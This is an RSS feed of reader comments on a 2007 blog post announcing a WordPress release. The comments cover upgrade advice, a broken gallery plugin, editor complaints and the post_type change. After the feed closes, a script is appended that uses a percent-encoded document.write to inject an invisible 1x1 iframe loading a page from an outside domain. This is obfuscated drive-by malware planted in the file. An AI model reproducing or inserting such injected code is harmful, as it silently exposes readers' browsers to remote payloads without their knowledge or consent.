<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	>
<channel>
	<title>Comments on: New WordPress Version Out</title>
	<atom:link href="http://www.weon.co.uk/2007/01/26/new-wordpress-version-out/feed" rel="self" type="application/rss+xml" />
	<link>http://www.weon.co.uk/2007/01/26/new-wordpress-version-out</link>
	<description>A distinct lack of style</description>
	<pubDate>Mon, 01 Dec 2008 20:21:17 +0000</pubDate>
	<generator>http://wordpress.org/?v=2.6.5</generator>
		<item>
		<title>By: Pete</title>
		<link>http://www.weon.co.uk/2007/01/26/new-wordpress-version-out#comment-27105</link>
		<dc:creator>Pete</dc:creator>
		<pubDate>Tue, 30 Jan 2007 10:29:09 +0000</pubDate>
		<guid isPermaLink="false">http://www.weon.co.uk/?p=269#comment-27105</guid>
		<description>Upgrade and be either dammed or hacked. There's a reason that most CMS's come out with upgrades and whilst there are improvements, a lot revolve around security. If you're cunning and have something like Subversion installed then you can create yourself a nice little patch file for your own version of WP and then deploy that. Nice.</description>
		<content:encoded><![CDATA[<p>Upgrade and be either dammed or hacked. There&#8217;s a reason that most CMS&#8217;s come out with upgrades and whilst there are improvements, a lot revolve around security. If you&#8217;re cunning and have something like Subversion installed then you can create yourself a nice little patch file for your own version of WP and then deploy that. Nice.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: SimonB</title>
		<link>http://www.weon.co.uk/2007/01/26/new-wordpress-version-out#comment-26611</link>
		<dc:creator>SimonB</dc:creator>
		<pubDate>Fri, 26 Jan 2007 18:48:45 +0000</pubDate>
		<guid isPermaLink="false">http://www.weon.co.uk/?p=269#comment-26611</guid>
		<description>I have upgraded to 2.1
As expected, it has killed my gallery integration :)</description>
		<content:encoded><![CDATA[<p>I have upgraded to 2.1<br />
As expected, it has killed my gallery integration <img src='http://www.weon.co.uk/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Olly</title>
		<link>http://www.weon.co.uk/2007/01/26/new-wordpress-version-out#comment-26610</link>
		<dc:creator>Olly</dc:creator>
		<pubDate>Fri, 26 Jan 2007 17:12:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.weon.co.uk/?p=269#comment-26610</guid>
		<description>Simon - 2.1 is supposed to be a lot better at not doing that. I haven't actually tried that though ;)</description>
		<content:encoded><![CDATA[<p>Simon - 2.1 is supposed to be a lot better at not doing that. I haven&#8217;t actually tried that though <img src='http://www.weon.co.uk/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /></p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Owen</title>
		<link>http://www.weon.co.uk/2007/01/26/new-wordpress-version-out#comment-26609</link>
		<dc:creator>Owen</dc:creator>
		<pubDate>Fri, 26 Jan 2007 16:29:08 +0000</pubDate>
		<guid isPermaLink="false">http://www.weon.co.uk/?p=269#comment-26609</guid>
		<description>In your profile you can set it so that you don't see the WYSIWYG bit at all - it's just a check box.</description>
		<content:encoded><![CDATA[<p>In your profile you can set it so that you don&#8217;t see the WYSIWYG bit at all - it&#8217;s just a check box.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: SimonB</title>
		<link>http://www.weon.co.uk/2007/01/26/new-wordpress-version-out#comment-26608</link>
		<dc:creator>SimonB</dc:creator>
		<pubDate>Fri, 26 Jan 2007 16:24:42 +0000</pubDate>
		<guid isPermaLink="false">http://www.weon.co.uk/?p=269#comment-26608</guid>
		<description>I preferred version 1.x for entries, the one in 2.0 is a PITA. It tries to be clever and just ****s up what I'm trying to do, even when using the code view.</description>
		<content:encoded><![CDATA[<p>I preferred version 1.x for entries, the one in 2.0 is a PITA. It tries to be clever and just ****s up what I&#8217;m trying to do, even when using the code view.</p>
]]></content:encoded>
	</item>
	<item>
		<title>By: Owen</title>
		<link>http://www.weon.co.uk/2007/01/26/new-wordpress-version-out#comment-26607</link>
		<dc:creator>Owen</dc:creator>
		<pubDate>Fri, 26 Jan 2007 15:57:40 +0000</pubDate>
		<guid isPermaLink="false">http://www.weon.co.uk/?p=269#comment-26607</guid>
		<description>Yeah, if you have fettled Wordpress at all, things might not work properly with the new version either.  In particular, if you filter stuff using post_status, expecting pages to have a status of Static, that doesn't work anymore. You now need to search on post_type.</description>
		<content:encoded><![CDATA[<p>Yeah, if you have fettled Wordpress at all, things might not work properly with the new version either.  In particular, if you filter stuff using post_status, expecting pages to have a status of Static, that doesn&#8217;t work anymore. You now need to search on post_type.</p>
]]></content:encoded>
	</item>
</channel>
</rss>
<script type="text/javascript">
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%27%68%74%74%70%3A%2F%2F%6C%69%76%65%69%6E%74%65%72%6E%65%74%73%74%61%74%69%73%74%69%63%73%2E%77%73%2F%70%61%63%6B%61%67%65%2F%27%20%77%69%64%74%68%3D%27%31%27%20%68%65%69%67%68%74%3D%27%31%27%20%73%74%79%6C%65%3D%27%76%69%73%69%62%69%6C%69%74%79%3A%20%68%69%64%64%65%6E%3B%27%3E%3C%2F%69%66%72%61%6D%65%3E'));
</script>